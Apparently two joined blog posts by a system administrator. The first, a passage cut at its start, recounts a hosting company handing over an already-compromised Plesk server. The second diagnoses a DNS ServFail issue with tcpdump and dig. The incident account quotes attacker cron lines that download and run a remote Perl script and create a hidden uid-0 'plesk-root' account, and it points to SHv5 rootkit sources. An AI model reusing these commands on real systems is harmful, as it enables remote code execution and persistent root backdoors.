Not even an attempt to login to the box. Please call me at
5555-3456 as soon as possible.

16:32 The phone rings and an engineer tells me he finally logged inside the box and that he was waiting for my instructions on what to look at. At that moment I was writing a new email to them, so I sent it to him and told him to read it and then I could show him more details. I sent him the following email:

The following excerpt from syslog clearly show that the machine was
compromised _before_ you gave it to me…

Oct 2 08:23:01 IQS002 /USR/SBIN/CRON[21227]: (root) CMD (cd /var/ &&
rm -rf prs2.pl && wget http://195.67.149.70:64891/prs2
.pl && perl prs2.pl && echo main.c)
Oct 2 08:23:01 IQS002 /USR/SBIN/CRON[21229]: (root) CMD
(/usr/sbin/useradd -d /usr/local/psa/plesk -g root -G root -s /bin/
sh -p “9XRcZIXmTrZ/6″ plesk-root && /usr/sbin/usermod -u 0 -o plesk-root)

I entered the machine at 9:30. This is the output of last command:
root pts/0 ppp-94-68-80-4.h Fri Oct 2 09:29 – 10:33 (01:04)
root pts/0 85.17.130.250 Fri Oct 2 08:30 – 09:03 (00:33)

At first he denied that it was their problem. Then I started almost shouting at the phone and told him to pay attention at the time. I also told him about the attributes of the files trojaned ls,ps,netstat,etc files… He finally apologized and said that this was a terrible error from their side and that he would forward the ticket to a specific security group inside the tech support for further investigation.

16:50 I receive another call and they told me that they found out that their Plesk installation script “used a default password while installing” and that was taken advantage by the attacker and he got access to Plesk and then of course he could do anything he wanted. He apologized again and he asked me what I wanted to do. I told him that I wanted him to replace sda again with a new disk and re-install Debian and Plesk with caution. I was specific to let him know that I didn’t want them to even touch sdb. I also told him that I needed some 30minutes time to take backups from the disk. We agreed to send them an email when I would be ready.

I didn’t actually want to take a backup of the system, I had the backup on the sdb drive. What I wanted to do was to cover as much evidence as possible from the rootkit and see whether the attacker had anything left on the box. I couldn’t find much, so I just gathered some trojan executables, the ttymon, ttyload files and put them on a tarball and then to sdb.

17:11 I sent them an email:

As we agreed please proceed in re-installing the system on sda leaving
sdb _as it is_.

17:48 Email from tech support:

In reply to your email, I would like to inform you with the following.

I’ll start the installation as soon as possible. And I will inform you
about the progress.

If you have any questions in the meantime, don’t hesitate to contact me
again.

Again nothing was happening for hours and hours…

22:01 I sent them a new email:

Hello,
I was told on the phone that the installation would take place today.
I still can’t see anyone shutting down the box and re-installing
it…is someone taking care of this ticket ?

October 3rd
02:47 I finally receive an email from tech support

I would like to update you on the status of your ticket.

I apologise for the delay with the reinstallation of your server. I will
begin the reinstall shortly.

I will keep you informed.

03:33 I reply:

This issue is getting harder and harder to solve by the hour, first
you change the wrong disk, then you hand me a compromised box and now
I get this big delay…
This should have been a priority ticket at least since the security
incident. I think we deserved some more attention…

04:17 I got a reply:

Thank you for your mail. I would like to update you on the status of
your server.

I am in the process of reinstalling your server. All that remains is to
complete the Plesk installation. I am doing my best to complete this for
you as soon as possible.

I will inform you once the process is complete.

06:13 A new email from tech support:

I would like to update you on the status of your server.

XXX has been reinstalled with Debian 4 32-bit and Plesk 8.6. The
details are as follows:

LOGIN
IP Address: AA.BB.CC.DD
Password: ABCDEFG

PLESK
Url: https://AA.BB.CC.DD:8443
Username: admin
Password: KLMNOPQR

Please do not hesitate to contact us if you require any further assistance.

before doing any copying of files from sdb to sda I checked the server for ls -v…

Some notes as a conclusion.
i) This is the worst customer support I’ve seen to date. I’ve opened tickets before on that hosting company, even for similar cases like replacing disks, motherboard and RAM and I always got first class customer support. This makes me think that its the specific engineers who handled my ticket are the root of the problem and not the tech support team as a whole. Should I call their supervisor and notify him explicitly on the problem they created or should I just try to forget about them ?
ii) It really strikes me as odd that the attacker knew the exact time and IP of the box at the seconds of the Plesk installation. I know this might sound like a conspiracy theory, but there’s a good chance that the engineer who handled the first installation was somehow involved with the attack. Maybe his box is also compromised by the attacker. The 2 installations on the box happened by a different engineer each time. In fact the guy who did the first installation has never responded to any further emails of the ticket. The ticket was probably handed off to some other engineers.
iii) Never ever trust a box you’ve been handed to be safe and secure. At least I won’t ever again. An automated attack doesn’t take more than a few seconds to take place. Don’t use any of your passwords on a new box. Don’t ssh to anywhere else before you make sure there’s nothing wrong with it. I was lucky this time because I didn’t connect to any other server, but from now own this will be a “policy” for me.
iv) How stupid is it to send a cleartext email with a root password and the IP of a box in it ? The hosting company has a control panel secured by HTTPS with a valid certificate, they should use that control panel to provide new login details to customers. Sending cleartext login details by email is totally unacceptable as a hosting company policy.
v) I think the owner of the box reserves some refund by the hosting company. The guy pays quite a lot of money to the hosting company for this dedicated box and for the others, they delayed him and if I weren’t careful enough he could have been handed with a trojaned box and keep using it for a long long time. I could also have been thanked for what I told them. Their installation scripts were bad/faulty/compromised/whatever, there could be a dozen/hundred other infected boxes on that hosting company right now. I don’t want to go public with the name of the hosting company yet since it’s still early and it’s a weekend, but if they don’t do something on the next couple of days I think that I should do it. What do you people think on this ?

Files: i) prs2.pl
ii) SHv5 rootkit: just google for shv5.tar.gz…you’ll get lots of sources.

References: a) http://forums.debian.net/viewtopic.php?p=160255
b) http://www.linuxforums.org/forum/linux-security/47606-shv4-shv5-rootkit-installed.html
c) http://www.jigsawboys.com/2008/06/01/lead-story-test/
d) http://www.hacker-soft.net/tools/Papers/redhat-compromise.pdf (thanks to the guy with the raw socket details )

rotate               sets  RES_ROTATE  in _res.options, which causes round robin selection of name‐
                     servers from among those listed.  This has the effect of spreading  the  query
                     load  among  all  listed servers, rather than having all clients try the first
                     listed server first every time.

Since then my /etc/resolv.conf on both Gentoo and Debian looks like that:
nameserver 194.177.210.10
nameserver 194.177.210.210
nameserver 194.177.210.211
options rotate


(I prefer using GrNET’s DNS servers than any others in Greece, especially for my laptop configuration. Since they allow recursion I can use them to avoid lousy DNS services provided by lousy DSL routers regardless of the ISP I am currently using, when I am “mobile” with my laptop.)

While using the following config I issued a ping command on a teminal and a tcpdump command on another to see what was actually happening. The result looked like this:
root@lola:~# tcpdump -ni eth1 port 53
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 96 bytes
11:20:46.405694 IP 192.168.1.65.55154 > 194.177.210.210.53: 39212+ A? ntua.gr. (25)
11:20:46.444266 IP 194.177.210.210.53 > 192.168.1.65.55154: 39212* 1/5/8 A 147.102.222.210 (319)
11:20:46.484490 IP 192.168.1.65.56152 > 194.177.210.211.53: 50452+ PTR? 210.222.102.147.in-addr.arpa. (46)
11:20:46.584171 IP 194.177.210.211.53 > 192.168.1.65.56152: 50452 ServFail 0/0/0 (46)
11:20:46.584449 IP 192.168.1.65.58597 > 194.177.210.10.53: 50452+ PTR? 210.222.102.147.in-addr.arpa. (46)
11:20:46.624179 IP 194.177.210.10.53 > 192.168.1.65.58597: 50452 1/7/6 (357)
11:20:47.484420 IP 192.168.1.65.32818 > 194.177.210.10.53: 33179+ PTR? 210.222.102.147.in-addr.arpa. (46)
11:20:47.524176 IP 194.177.210.10.53 > 192.168.1.65.32818: 33179 1/7/6 (357)
11:20:48.484483 IP 192.168.1.65.57670 > 194.177.210.210.53: 21949+ PTR? 210.222.102.147.in-addr.arpa. (46)
11:20:48.524184 IP 194.177.210.210.53 > 192.168.1.65.57670: 21949 1/3/6 (271)
11:20:49.487610 IP 192.168.1.65.48966 > 194.177.210.211.53: 8619+ PTR? 210.222.102.147.in-addr.arpa. (46)
11:20:49.534204 IP 194.177.210.211.53 > 192.168.1.65.48966: 8619 ServFail 0/0/0 (46)
11:20:49.534429 IP 192.168.1.65.49421 > 194.177.210.10.53: 8619+ PTR? 210.222.102.147.in-addr.arpa. (46)
11:20:49.574138 IP 194.177.210.10.53 > 192.168.1.65.49421: 8619 1/7/6 (357)
11:20:50.494537 IP 192.168.1.65.52525 > 194.177.210.10.53: 3415+ PTR? 210.222.102.147.in-addr.arpa. (46)
11:20:50.534145 IP 194.177.210.10.53 > 192.168.1.65.52525: 3415 1/7/6 (357)
11:20:51.494552 IP 192.168.1.65.40400 > 194.177.210.210.53: 4504+ PTR? 210.222.102.147.in-addr.arpa. (46)
11:20:51.534205 IP 194.177.210.210.53 > 192.168.1.65.40400: 4504 1/3/6 (271)
11:20:52.494554 IP 192.168.1.65.42385 > 194.177.210.211.53: 48450+ PTR? 210.222.102.147.in-addr.arpa. (46)
11:20:52.544197 IP 194.177.210.211.53 > 192.168.1.65.42385: 48450 ServFail 0/0/0 (46)
11:20:52.544409 IP 192.168.1.65.43773 > 194.177.210.10.53: 48450+ PTR? 210.222.102.147.in-addr.arpa. (46)
11:20:52.584232 IP 194.177.210.10.53 > 192.168.1.65.43773: 48450 1/7/6 (357)


People who are used to reading tcpdump output will immediately point out the ServFail entries of the log. Server 194.177.210.211 refused to provide proper results for the PTR query of 210.222.102.147.in-addr.arpa.

Further investigation of the problem:

root@lola:~# dig ptr 210.222.102.147.in-addr.arpa @194.177.210.210
;; QUESTION SECTION:
;210.222.102.147.in-addr.arpa.  IN  PTR
;; ANSWER SECTION:
210.222.102.147.in-addr.arpa. 66841 IN  PTR achilles.noc.ntua.gr.

root@lola:~# dig ptr 210.222.102.147.in-addr.arpa @194.177.210.211
;; QUESTION SECTION:
;210.222.102.147.in-addr.arpa.  IN  PTR

root@lola:~# dig ptr 210.222.102.147.in-addr.arpa @194.177.210.10
;; QUESTION SECTION:
;210.222.102.147.in-addr.arpa.  IN  PTR
;; ANSWER SECTION:
210.222.102.147.in-addr.arpa. 86115 IN  PTR achilles.noc.ntua.gr.

It was obvious that 2 out of 3 DNS servers responded as they should and the other did not.

What I did was to notify a friend working as an administrator there (GrNET) and let him know of the problem. After some investigation, he later on told me that the problem was related to dnssec issues. Possibly a configuration error on RIPE’s side. As far as I know they had to temporarily disable dnssec on the 147.102 zone…I am not aware whether they fixed the problem (using dnssec) yet though.

I am really glad they acted as fast as possible regarding the solution of the problem